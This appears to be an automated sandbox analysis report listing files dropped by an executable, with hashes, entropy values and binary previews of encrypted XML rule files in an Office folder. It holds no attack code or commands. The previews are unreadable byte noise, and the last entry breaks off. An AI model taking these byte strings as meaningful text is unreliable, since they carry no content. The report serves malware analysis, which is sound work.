Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.816561324610535
Encrypted:	false
SSDEEP:	24:Pf2gAqW+PfHUWhGU5CC5SwdtU+YYIa0biZBG3CxLtvbD:P+gA/wsOCCAwyfVbISCxLtzD
MD5:	84704964031E34EB190A932370DC45D1
SHA1:	3484FFB3F46F63AFD4D57F75F45C59F761F200DD
SHA-256:	C35E9E60682A7F60B7C33397E1486881FD1E056C3981D06C6B96C645386C2BDA
SHA-512:	2EA733B0BADC1DB8737F01F7EC77FD6A6F8054D360E895599CC41E501B46DB6A69D7FA0C00EE39B60C6EE382B21876AA087524F807A2715271F87290E8E37231
Malicious:	false
Preview:	<?xml..m....N<)......'a.:,.K..po.z.s..I..w.a..-.....>;.....cZ......)..niY..^i,4.Xcf....\|.7o....K.f...S..X/.o...Cq..wZ...s.7..T.mR.h......TO. ...l.8........\|..9.y.q..^\|.Z.@/........iRXtx........N.J.:O..A..=Gx/..B.}..VL.>........e..HK..n....:.......$...^.J.2.mW..b.QZ...?w..t.\|..X.?..{.A.B%......V..xf.a.7.<_^.,?..hFd.B.(.=4.o.....{.....^..h.SO..y.K...>...A..O...]".....0.. a!N.9JL.U.q.,.e...m..z...-...9S....(...g.#a..&....7.G6.$.j........e.q.8)y..0r ....Y1..x"Z.hy.#d...q,l....z..Q_..[...6.e...> @t+...j.c..lB....@..td..5Sm.X.8.h.>.,.'...v..+.".&...\|...........Bq.x..Z.Q.Y..)l....FW...-....w7P...\y.I.VG..J..T..o...d../.aY..nEe.....7.HP.......f..\|u...1/.{.m...q.T6....t~...';..r][...f#.2j.s6g.~.P=..a!..u..i.3!.I.v.!.l.Mw..ELz.__Y..K.....=..I...Y._..{..[..y.d.....!.+......[...s./k..)...........tg.E.S^...*:..\...U8.l.....7....#..........Z...S<[;(...J..].....U.......e...[{.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.934194659699098
Encrypted:	false
SSDEEP:	48:dYfOJfRenbYhsJmT+l/IFrAuM3O2SUoTyB1eGJDv5X8eGD:SmJfwbYSJC++9AJe2uIeGpFte
MD5:	3490B8B7C5E678C83609A5F131228EE9
SHA1:	013A03EFC4CACA3922267160F2E455007DC331DB
SHA-256:	0CC25DA63F73246D61A4096721FF4CA487C1EFE4B60D0984D877073E22AEFA2D
SHA-512:	69D7E8C59A3FECAB6B836908DFDF0CF72E045EA06C5965F3097CA2CDB191EF15254E55169D30ABBB930457B6C12A4302D7EEEC79E2CE75F4FEB1D27E3059DDC5
Malicious:	false
Preview:	<?xml.%....%.X...q>=k.P.!8.Q\|.!...:R...M+..O.]&.h.....E...:.$..C..%D.g..R.n1.....1...q.,.....>...%....T]....r..q.Z..$;\...E=..lN.....R.w.e.bq..H..,.n..3.:.W..\...c../.@(ccpm..N.[...v..^.c%...P.Qt.{J..;..:..%.bu[..-]U?....h#.@.5.i....}4L..%...y8..a4.z\|-..GI5.'. ../..$V.i.y..]..-...9.;...h..A.....l..~.:...v.{.a..5.g..5.....[g0...gw....MA.....T..g.C..@........E_M.=.??.a'......._b... N[....._bf.i^..sU.yM..6.9yB.#nc.q9.......>.t.E..1..,......f).D..!...{..gh?.p.1....L..[....u.V.L:..sI;.2./.%y..Y#}......9.c..v..w.....7......4.rm3.7.H.,...".....j.m.;4.xi;n. .C8l..T....P.._ObQey...A{....Z......Q.>..M}s.o.N.u.o].q..E\..n..}.R..d.K..Z8..U....c.X.;G...Ft.ju....d..,O...<..,.prA7.qS......ra..z.,E......b...2.{=.D..>3z.>^_8W.o..\3..l.7....b .S.._]2.....3h.+.;.z.n...?..\|3.......~..#.&.h..P^r.?Q....:.....+_"W..a*...ht..8A.9r.....s...F...P...F.F.%..ld......E.m.'12.`.t..D.Qr.$5i...7.l...O...F?...v.k..f...$...U..)f.2....%........2m&]P..t.....@.L.4K...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.984181271007611
Encrypted:	false
SSDEEP:	192:qfE+xgraKNmo/GYWTHDmE1O7+B4A6YMwDD5pqvO515UjSFOnZFMa/fUM8jqa:qfE+y2KNz/omaOSB4THClYvA54qIjMaK
MD5:	80D0CAECB4395B26B4FA2EF59F44CD3A
SHA1:	B28C7E81AA0E56C21413228E7E40045C71D97AEA
SHA-256:	8D1D5D120DD6E73834CF1B314062E30239A89DD5D48E2184AB4623CD9E1C5336
SHA-512:	0D882B02D789CB175A1ED7E4A3973219A5C0C65188905D004DFE063BE6BD5800512C4F123F491D88EA74D8804C78223F1FE4F7CF4F9A877D923511471CA351A3
Malicious:	false
Preview:	<?xml~sEs=.O.B-.~..^......8..h......Df.O...... "P.#G4+....k.,a./...)...{....BL.e~..+D}W....J.?..+.>......@..q.@J...N.t)1.s...Q?U#..F....[M.....vpS.....:..r............v..6G.C...a.n..q.x..,@!.\':+...Y.V.M....0.x....-'%.\[z.._f.8.3n........Fi..T +s.X<UzD...3z.4X4}.h.\|....&.)i...je..gdyw..I.L...M..T.}..4.W..E.....s~...3./a.i..._..8S+.^..R[b..\...`S..Zz.s.{b.VU}@..'vI..%.R..f2..M.0.Z..n..4>........}.n.U....r..p+.G...PQ..D...........n...M...T...6;b..Rb..d...[..p.-...s.4.....)fR8. .Wf.r....L.{....Y.@...&.....Ss....j..G'BG......!.\|Q.....Y.....6......?u........%..N...X.....vW....f..Gc.?8&......k....5..6...xOD2Oa....QzYme.&..oo,.sX57...%.F.v..wk`.@.vY.!...-}>...sCr""...mC....D.U.k..Z\.D...[.O...2.4..+.n8!Q.-l...].n.b./~.............-;..H..V@..\..`..H1....I....v....W.KR,#.p. .&0..jI..6.....o.M.J.Z&..w...znh........J.,.d..O..x....k/...j..4.h.eG.r).s..iV..e....f5....JPB.d?.5b.....+..]a3P.b..y.5...[KTcTqUV._t..gs...7R...Y....=.!...:'D3..w..n.=..5..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.715573180994177
Encrypted:	false
SSDEEP:	24:qXzgEMmw+4nlBIogxEDqJH6PQXT8AyRycjCbD:CzgEW+iOpxEGJH6PQXTiUxD
MD5:	11DB9389A5F3489099F5147950B27338
SHA1:	5DC3D3A372B89CECC1345583DCD88F0C3C802706
SHA-256:	9BE3C195A390398DBB07B233E0E55D5A02A7DBA1E0B057014E20E388A40D53BD
SHA-512:	6EBF2E54F8DF70820A2696277128BEBAB11245EA641CFF62781E36F4F2380EC0AE8415D826DF2318CBAC8EE616ACD1D49B174DC76C2FB40544AC2F26A0A36A41
Malicious:	false
Preview:	<?xmlK.......m.6<.OC!...D..a.u.... C.\.e...A..X.......* `>..hR.?.>.&...&=......,.d....b...........>.\{R..=.[(.m`O.3..n.@.....5..7.j..M.......>T..mJw..tR<N.P...K.......j.m......Z.t.NzS&.V..m....U.A..2j..F n..IS.....>c.A.)/.@._!N.w.f...._..r.q...j.._d....Yic.lw......O..S...w.7.y1....z....h...DV.#...p(.g.'..,=...JxJ....qd.3./.R.M&I...+.W...2FnU..J..i..i.R...... .._.m...6...>....G.z..Jfh.+.cQ7\|..].<./.......G.;..g._....+.....#..!..$....k.]G......+...j.[....+.....Q.4....... i.......%.f....S=..b.....Gh.J.F..hx$...`7...R...f....wDA"........Q5.(._..=....l.l./-&..h.(~..%..........d....,.O.!.?......cY...4'.."..S.0.}&I......._.}.(C.US...U.'..\.s...!..._5..F_.P<..d...Q)./..-\l.,[.......g..MLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.655218498114251
Encrypted:	false
SSDEEP:	12:h8groaoKgDosBh+9BSjxvyVQE22RiV6PEHHEbG3FjtxLS2cii9a:ht+qhaeQEjRissnEbG3vxrbD
MD5:	19CBF589A4590C0BD570B099AB181CA5
SHA1:	8743EEA4B5C714EB69FA7FBE15268F5F186A09F5
SHA-256:	A21D2B323D7C986CC4E1E6B43EAEF5AF6AAB0E31855F040564F8115F939E43FD
SHA-512:	85969AE95D005313E8B2F1020A0BB128E02DC6EAB8C8E9129DF39E14C2BC8C001358ACB25311AEC33425529DBCACB012423BD2981A814E7302D0271F7B601D73
Malicious:	false
Preview:	<?xml..."....>.;hV.s.y..m.:....A.0..\3..D..M..y!......C........".@?.9.O.x..E..H..k1.~.Ty...L..;.}.D.SS..)....ZC....$hrXRi.O..i...."^b..4.....BK.N'.']..Wr..:5...kDF.,.<...3:s.%]b~..I.2..N?P...Y...m.0...\6....KJ....E..&....!Dz....x.......\|....o@.f..$.\ri.....^.!......Bl.I}.{< .k...m{s...B..V...8=.(`-G\.!....S.B....V..o.Y.p.1.......m.R.....6l..I.....0.s:{6....0...{.a..{.k3h..\|dDS..b.J'k.......-......"V#.#1.W.e..o?..OY.4.`.,.T.f.f..R.(mDl2^."....N..X.qD)..$.x$'-S..9b......U...j.Y..E...0..=....._R.$..kn..&.Q........FL;>......<.t".@mk8.fE......S.Zx....t.R../B.4.\..L'.lG.."(B)*i4.....U.v......xA.9%...P.%...+b2;]..3A&....CX.0.]9~..:tLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.87004952943437
Encrypted:	false
SSDEEP:	24:vXEttMqiiHy1b/QD7DzhwotaprbUDeRt9yuSbcEDDBgVKUTyfjEovAjB2zPqebIN:vUttR4DQDT9ctVX07Uyfo9AIgyD
MD5:	7523EB64FF2308912429862EB162A420
SHA1:	5AE653EA0D21AC823E8987FE168BB86FAE360188
SHA-256:	70BBA08D433C12093F95CB8E36ED06665CD6631CDE04F4D9DEAFBEF8ECD389BC
SHA-512:	EADA925163F7328AECEDF438D52013DCDEBB8F9614E29FF2751387A73BBA322CDAED8BCF0165E22F68167B1EF8564E2084F85E9B3ABEB430CC7068773AF465C9
Malicious:	false
Preview:	<?xml.......m.u..Q.rS....jm._lQ....hp.D..Q7w.!........rB\4.&}.1........Y..&.6..s4.7.l?2K....w}.s...C.O}/..4N.\|X....ir$.....MWxk4.`....SLq.,...L.....LB...D0-...`PV7.....4..:2O.<.{..../<...Z<^...TVCZ..6.J..57.....8.Y..G..h.IUh.)......3.ow..>....7...7l.x......2.^..+.BI.-.,M..F.....8...q.\.JD0i..1#....V.\|`.il...6V$....V8{........z8.O.7.g....[.F.{!U....s..x...Y.%....x$W$.Ny.\|=.......Qb.k=..%.D..$.CC.m.m.U...x3/.....$.)m.G.Df......{..}.74 .T..oy.J_..!..C.#..WB.eT3T"..'0).txB..fDQ...t''.....97....8J...zq..,...x-ts..2e.h'..O.-...Bp....W....o....u.,...g.Rj...BGm.I.........}..}...>...M)...f..(.....X...eo..'..f)d".L.....,..Jz......(.h....._...........=./.l..`D..N8. ....?&7..-#...3`D.,f...8.f.$u........F.z.^.9j..D..Y..4...^.v..Wb.vm.eU.....X.x*b.v. `9.)c\|..nUW...$l.7.......+e.0..Ly..)\|...D.`.....l.9E...Tm....>........oC..c..$.\.....GW4.G.a(...Q4[......v.OC@D_..^..R...9..=..[R.......i..M.X...w...S...i.r3.3O.s.....VrD1d.."...A...........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.79288121468507
Encrypted:	false
SSDEEP:	24:M276uAwVKupfFpNlxdFbGlRvpt7TJaVxp8KkqbD:MDuA5upXNl72vf7TkhlhD
MD5:	03BA3DE9F537AE7EB911A41D971164BB
SHA1:	AFB12BA306BDF46E8C8C4D352F2B4192331B721F
SHA-256:	BE94EAA0BD41418D0883BC067A91E1F910FA5734773E747F220A144AEBE4B163
SHA-512:	2A28F5FF78BF47D9D43D7F8E156E355587BB9C04AB7F2A3D2D6B6B5EAC8619AEE3A915BCD32ED53090AB7C4B128449F23D3903D95BEABE01BE3D81D17B64BDBC
Malicious:	false
Preview:	<?xml)..v........n.@`5.8.S....h\|W.h.9...O .U...Z{..yA...bP3IF..J .].........0.l;.>..9r..1...u.5/....(.^..........+.%...h.?G.&:..YUabO....L..X;w.o.t....@..c..,.S.)$..".&o..&..rm..$.R..eCr#.Dr..by.(@....7.T.].<..Y/Wg.Q.`..YR.....O^.T.>....k^.-........V".x.G\N....8o.3V....h...k.V...A.(V@G.T.3.l7..R:%..}5,j..0{.7.e.5.....f..v`>c.:...3..i;..6.......{..j..u..a....e.#.eb.!.b.;...o.....[f.\|.).+.5B.`...J..' <...i......F.(I...\.g6.jT...)....R/. _V.}h...qI..N.F.Q...2.........@m"..T....S.X...S&.Qf....Rx..._.....\|Z..+........D3....>...Z....\|..U.XyoYv...m'$v........(=w.P.....K...gH.ma!U.$...F.6......6....B.t.G..MO.u.Oa.m.yO.&......`vM..W...arj.Z...q.1.....hl.. ...p1..7..3.*..._.q...a..Hm...9....j.gh.....v....=..&...k{...N.K.?...>.q..F.1.h.{..O.c......v]C\.#..U...LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.8340791699064996
Encrypted:	false
SSDEEP:	24:6jTkViLoDhPc0zLPjA1bt1O6BARAOtRwOLrA6YEif3Ql3YKdY6vDYCt+G2q/s3bD:6/g+oFP7zI1bTO6BARA5Jy83j6vsCt+7
MD5:	9B331FAFFD6D8CC652D531A4D1E44197
SHA1:	489D5071160722C8FD6E1B5E1BAE54479589E9EB
SHA-256:	AEB5EF76AA0BAD606DB98BB61E1E8D789B338DFA741D48B0A0810509D7354274
SHA-512:	D3DFEE7A951E02191403883B500A1068CEEFD3409252D177C0EE366D0C132D742CD86CF856DA5F1CCCD655D75431AC96EBFF12BEDAE0DF852F5BE0FB2C820659
Malicious:	false
Preview:	<?xml..5D...u....a.....T...ARU........ ...~..s.-.>...._..,fj..L..6~..5.........\|..7...w.-\|"...Y.TR.%. ..49.."].!.k~.K.!`.l..f.^.WD..?....%.h.....-...%..q>EJ..`....tE.U..J)...8&...t.~..m.4......2...\.3..Y....._.!X....\|#.......8...../... .......iq0.g..hN..p.`c..._~..-..:.W%M.S...B!...'{}..q...I....3iz.l#.@y...\..X.P.^.$m..4x.Sfq._.Qd...F......%.C.l.S.........x~....I..il.%c.?C8..hYz.=...`...+.h..T..A...........KB..l.%..w.K......u....%....A.R....l..Dw.:.+......Z+'C\.!j.Qh..........U...~.Fy.0...\.y.c/ZyY....M..{......n..{....b.y..y.....j...LK._..y.`..A.5.~.c..>.W~..ke..i.9..O.....0X..R}....G^...(.i.,.).oax;V..p..fI\.....t.J..+.5....#z..U.@.6..;S.-..Va\......in....pY.G.TRaP.o...A,.U...S.r.ze....^S.[......8K(i..Z......2.:.N.'..,..eGF+w%.....}...1.zM....:...'4d..,..8\d...3.^]..E...7.j..`.Mi.ng.Uf........v.w?..!D..r.....~..h.)... ....a\G,.d...eY..sI*.."08af.)..r..}}.....f_H.B.s......!.!....Mlvk.ea1......w.0..Yx.v9......U..A...n.......36.....I..1G@....tQIZ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.847825997076046
Encrypted:	false
SSDEEP:	24:+g0eMTJvLEKBpeUxNrLCU2BOz2+ppaFBYMhvuieBNdoVqA+qAPYHJbD:70eGEY32QuF6UuiGNdok7qAPYJD
MD5:	07CA0B2830D77F0E3CD1BE907014ABC0
SHA1:	1B346F54D5BA62F83C7D191C03A906F4500F15D6
SHA-256:	BBE05B0EA5A5A9ECCCE234947F89CD4AC6E6A8A228C959B33D853956CE51D394
SHA-512:	7410983169001E198CE0EC1D6FCBADAB729F61953C5964626BF9BB86ACEAEDD92F35D9D48F99F61644A84A99A1EBE4FA7E9D01E963369D20C199F6EF1C88C75E
Malicious:	false
Preview:	<?xml....<.c......6).S.j.S..CJ..SUx.hw..h.B..#<....Y..Q.&`.=.ry}..$...^.h.1.[...,<.QP?0d"n0..~#.Q.V5...iYk.....y.s>4..O.......F....LT[..=.t>;nF..Vo..'...'....D'.0..?p...F....h.u..%&.AV+.k..8g....r..C.v.,.4.\|......\|..hnK'W..,.WZ.K...1.......K....~..q..Q:.2...8...7:F(..\|P{.L(....l..=.7..@...#.H....i..6.c..S.r.V.q.. .l...^.5,.z..../.n?.b6.{g/8........V......t.{M.2F.>..R.C....O...<c.6!.q>..z....1A.p..3..K5..?.^..q.;C.t..rA.YTs..:..T..5V..wC....`...i....L..a.Y..O+w.\6......Y.S.dIZX.YHq..&}p.k..L..<......s...q.....zJEMC.&...s]2..?......4...C..1..#"fPw...b.W.d.j\|`.'..i.....=.0....p10.l..rM0..x,..v..h..<.}..X.......\......-E+.....!O.U..._....q,.t `q...K&..U.k:xqd..=.A.....h.X...M.....3(.$M((.D.9.F ...}..9Q-..-.=.SY.T..Kk..Ko.!x).v..\Fg)N;o...1.F..,.L.{.y\|.;Y.(.....8.f"r..Sb.3....b.U........i[et.j...yG.-./....H.;i:$.E&/.......t...VJ&...q...V..S.R$.p...K...{..i.}.K.)....X%.8...b..57..O/...........k~.f...?.;[.. .+....LJ...)...A.jy4d\. .&.;......F...\.....e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.97356068706077
Encrypted:	false
SSDEEP:	192:Wj6TT4EVjrXptWPQWVaDv4RlTYcONXjL1GamkK6iX:WWTT48X5tOqvJcijLgamkviX
MD5:	B2F2E09A451EC2CE38176902E7F20DC4
SHA1:	584CCB4E3B3D1E7371724F0C36BC431966367DD8
SHA-256:	B36EC9C17C6BF27B6C931ECC93EA629D73538BEA2A14C558D2AFAC84D169BD41
SHA-512:	B4F94A9D688986C252D6229F724AD4F48E6F9746335910B3AB98C12E4E2FDC2C194145225F88431A1D7D5E268BFF4167A0275081AAEF5AB6CE68E427AEB1668E
Malicious:	false
Preview:	<?xml...(.....h8...c....lX.3?.g^-w..0.W..5DmA.W..Nu..\..O......h5.s...1Y.GK.i..@.jy...J.......>...M..Z.,=....@I[_,.0.T{....zI.T[......x.P.f;....b..d......f/mG...P....f.).!.........1....z..'U...##..z.L..._.[.x.B,q....u.......i...L%.;...0..=.#!.z..&=..f..@1T4.m.C.F.J.-..a./...0......?.$v.L.0.....A.rVT.j.... ....n..]w.wT]=.Lc.w.Ci..F^.O...6...r...\|..P....E.Je..#`vt._.-l.e...;...`c..9....J&%T..l....$....<d.E.~......`.X."...1...bx..Q[!C...,..`TXLi.`i.%.)......+...$.T!......~'......%......'.'...N...e....p.....r...._....nu.C^.9/eSn.2.(.^.rd:s.9.r$1...)-.7....3.......x4.M../.........H..!...U.6.6{...n. .NG.}).........m.e Z...=...._...YF..^.Y..%1..3@..@..l........P.......!.L..q3.L....v.\A.WeM0..nz.=..h....50..Sgb.a1.Tt..g.u.......L..q/.$.a\.R-.....7.X.gC..t.n...:.M...0.........[.q..wbGA...m.h...I.(V..7.l...\.plE....J.n.{....Roj..fal!..?..;....6...l...DR..F}....}...K.\|.:lG.".M.<...@".wf.G.-......tm"..u.......c.f.g....3.X%..!gC.o. ...6..W."q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.698290826305882
Encrypted:	false
SSDEEP:	12:LBiN5D02lpdHQhXP5Q4pzLkKr/Px0kOH0IkHJ1cnWYbslS+CdS0H/xS2cii9a:LUN5o21HgXx5nkc/P6Idp2og+oxbD
MD5:	041F8BD771BD6A4AF4A99DCC7DB7008A
SHA1:	411257535424378F66D10C6672F835571B65A552
SHA-256:	2B3A703C3DF4AD670B9582F91EF028460562FBDFACCA9F4D6EB356DAA07B40F4
SHA-512:	DF30BA23CDED2C110BEB6468927460BF779BBAE1A86F92A84DAD705A65D1F9E92B5780B1A6BA000CFC0A0540CC6397A064BFC31EB6EE72C03FC821067E883EE9
Malicious:	false
Preview:	<?xml..0HVM...O...f...&h(.hMWd{v!I..R.z...I.g.r ...B........`....].rEN..ncl4..WfQ]..n.P....?..New\.G.t.p..:.xW....:=7^...T.....@[.n3"{..Q....0p.....14..V.....u..>....v.;...xC...Sx.>....n.<#u8=?3.`..[.........l-D.E(....B..N...JqQ.OD^i..f-..N...8...8....Sa&..H...#.....T.+......lS}..{zs:k.H..W.R..S.p.09A...D....._..s)....%i..(&e.....Uh."'.$...K{.....a.......N..........}?......G.......B./.b7.........o..E...bU/yw...y.B,[y. ..r.e..P..b).UkEE.+..o. .i2`P1...[...zYb......>...!..O..3oo... ...{<i.LE..X.."L..u9!Yd).2\|&+(.bD..\|Yb&.Yp...2'..f.Lz..j.=...+'.r....._.[.\|../..l&...#1.U<s....;6.....%L....;+OE\c..."_..B.[.............QL....$.X3..fX..b.vq[.....B.:..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.860610347363188
Encrypted:	false
SSDEEP:	24:fEJjKwrsna6Qgbr5Wqho5gw1AZsqshJgdRN4A9y8qDgfXIwVKJM9qmDjTyGCObD:fEDcsqe5TASqCJgnhytDgf4w4EjpzD
MD5:	1EDA3987599A467AB5A0D874FBE80419
SHA1:	A8F96C644646517256D40FBFE362DD11CCCC9922
SHA-256:	05DC55E256E8F27C4BDE8C694E34B80858EF9295AFBC0CA2080ECE990AE0E1E0
SHA-512:	10F54977C76BB165581B0D0B00B363E74FA08736434CF73885DE0014D3518F7C77B7D598910ACC2596DA0D6E1E83F1FE0286A3AA31DFA6EEDF308AED4C091AB5
Malicious:	false
Preview:	<?xml...l."..%~D!.....AwWoHRw.V.....0.R@....#....ew...6.1^...Cz.KL..>._YE...Kx.T...7j&..".W........1.RhA...._(9.............,30...v.n...Zz.X...u...X.1Z.M?W..n.L.>\|'.;.p..TPY..q...g.......(tCg.6!.,...Ke....6...........C...........C%...Z+v..hqa.8.X..}P..O...^Pa.J.\w...B...%..T..,..wx..Q..u...5....U}....Y.k.H...9Y...g.s.T...Ar>...._:..X.....,[....\.:...',..,.`3.`.5..7...qN.1$.L..>....U2....%.TPP;>`...z..s.i.$...<l..<H....d3.X9..R...]...L......[2..I.....~.V...<........q.... `t}..=....l..f...C.z.o......}@............l.A..G..........8_.....0......-.q..6..%...K.m.Q.h.rrv..!..mT6j2.;......7!...~/P.z.'f4..d..^vC..of#.~..}@.....tA.#..d..zxh.Z.....:b.TO....~.?"....1...Y.yXG..^.%.u..~..=X.{.>sV....N)..qa..@..X....5...m..,..$T..@...PP..J.7.n.....V...&...d...8.U.g.&d.:R`...t. _6<(e.V.Rb.YP..>Jk ?p./D.....1m.^/.}/..#..~:..hy.e4.`.$:6.....RrW../......j.U.S#..q....f;C.......P.nrJ*0..x(_..//..%T..+.....{...K.c..(. .C.."../.....z/.....x....LV.4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.9503168189255895
Encrypted:	false
SSDEEP:	96:C7sdcZZjJbHPpCnXxYQhuJOclPhOsoHZRNjX:vdcrNbReXOG2hPhzoHV
MD5:	FFC00704BB66829B1D8BF959C436E219
SHA1:	B51F4B551F3A15DD266843BF5B26282405C21732
SHA-256:	FDCA690012FF990432AB23533AEB77B40148588996F03CC6F2B51B1F80BB690A
SHA-512:	E19629704CEB4E55B6FD5CBA10DE7A6D9216AD92660D29087ED25E7EE8C49A5305448BA7D0EFCD5E87431EDC2B81A3E21D6CAF7C72D14F9D6FC0A98EA171F86E
Malicious:	false
Preview:	<?xmlG.\|:...M...=!...n5..),6c:...W..@..a...r.....m..ve......e..1..C7../J.Uz....J.y.w.8.c`/......b.T....g...zp....r....L]......P.T..g.)....P.T....\|t...[e..2.X"m...t(...d5...'....x+^K".X9.k.4.{.(.T...>..W.V....o....i..~....b...F.i.x....c.'.s.4...>........B..g...;...G.qR.V..K....y.Hda...G./...'.MR][....{q^yX$C.: UR"UF.7.V...!.Qu.h......U.Fd..B...W{.u..e../2_......\|..t`..O._...M...3..Z......,;3.o9.q>...].>.D#.....Z.~.]...z..=.....i.....(..].?...Z-...M.Oo.]..tT...a)kY.x..L..w.%ke.Z...6b.Sz,....u...?._....7.y@.1.E..8.6....B.9(.......Q..X.w.l..\..d....r@.!....9O5.f]......o...H..p.p......`...U~I...>.+..qj..$........4.A.T.....1...w.xh....r.#..y>:....$.......D..../..X.b..l....{.U..8x.7..<A.....t.K?......s.j.J~=W..}5.../...d1....1.P#.H.e.B.5...<.j.......`.....[)k..7....:"].......c.........J.V.>....x...P..^..\...0...}C.LR..o....w..r......~.}m...^.{\1.....w\|.[.q.cv,^Xv......+./iq.G..BI..;......!.!....X!..n?....^...Z.vRl2q...J"..y....g....L.Z.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.747328579704823
Encrypted:	false
SSDEEP:	12:xj7CMyV2ZTgGzz1UlL/1QDwo+rNqgD8s/ZghGHH0Nn9ChTE4KOD8lw/VtBnj3d33:1egZ8D11nAsGQHHK98KODjV7tQxBgbD
MD5:	EA3691D0E00411BD8177BA6FB1DA1025
SHA1:	BE42279FED8256CE222EB95CE7B31C9C27586CB1
SHA-256:	8886E9FAD2535E2B64677CE7E043719783216672FB6F4BA67D94AB25F1F357DE
SHA-512:	388EFF3EBCCFBDEBF85DF35FC2032A9521271565A161F96F3896EDED66911093BBF93F452FA30339FE1336113A3456437C9D36E69F469B2F15BA5DB2EFDE47CD
Malicious:	false
Preview:	<?xmlC.o..'...)#...v.D.N.;.Y N..o-.]LM..I.2..RA.C..<............&;.@.A....B.....ku..... ...."g.\..t........$...}.s..,0{....&7.....Q.....J......s..0}..{.........&..!...2.K.g+>.c...C.'&..4...Jt.....z....L....Ps p.Y.=...RyU..]baO.y..$..[a...,4.\.,C.......B.z..Y.A.b..uI.El.-....D.R.6pq...a....fG.......Ln.NecP...n)..KZ..[.S..f.6....P..!<,...D.. Y..?.f.z#...Q.HL..@.L.M5...=.-@...s.(.....?..=.:.[...mk.m.j........N..6C.....len..4<.HlBo.Px.>..$GL...?....Z..>...O...V.\..UN.,p.8....K".Dm!..^...Pn.OV.M\..f.c.......c/.v..u..o.tRZ..v...sn.&#.s6t....?t..!I..!..XM._2k?....(vX.&.yj..;[..fu.Y.^...)........~....n..Y..9.G.7aw..Rb.....<;...B#..V....(..A.Z.4...5C..R../.6.....?[.?R..^.~...4T.3..<f;2.......O`.^..5....)fe>..?4..o..K........:..Au{]h+.`3.%E....XS..vf..@.....6N.6..w;..R...YdW:2.]}../6.#Z.........x...B.o-]...h.....d..m(..D....u.3..K..C..fLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.941115427014166
Encrypted:	false
SSDEEP:	48:INO7Zoy3yjXzmnvGHX8HzXiamiInRzt2x5ZlaCZpyjVoX3IjjpBwr8Zez+YVooyg:d7ZGmneHX8Hai2bM5vbZp8VU0e8Zezvx
MD5:	5E31C555129A3D08F93CD2CADE14B5F1
SHA1:	BDAC2FFBB260516EEE317C388C9EDFD36F8AA0BD
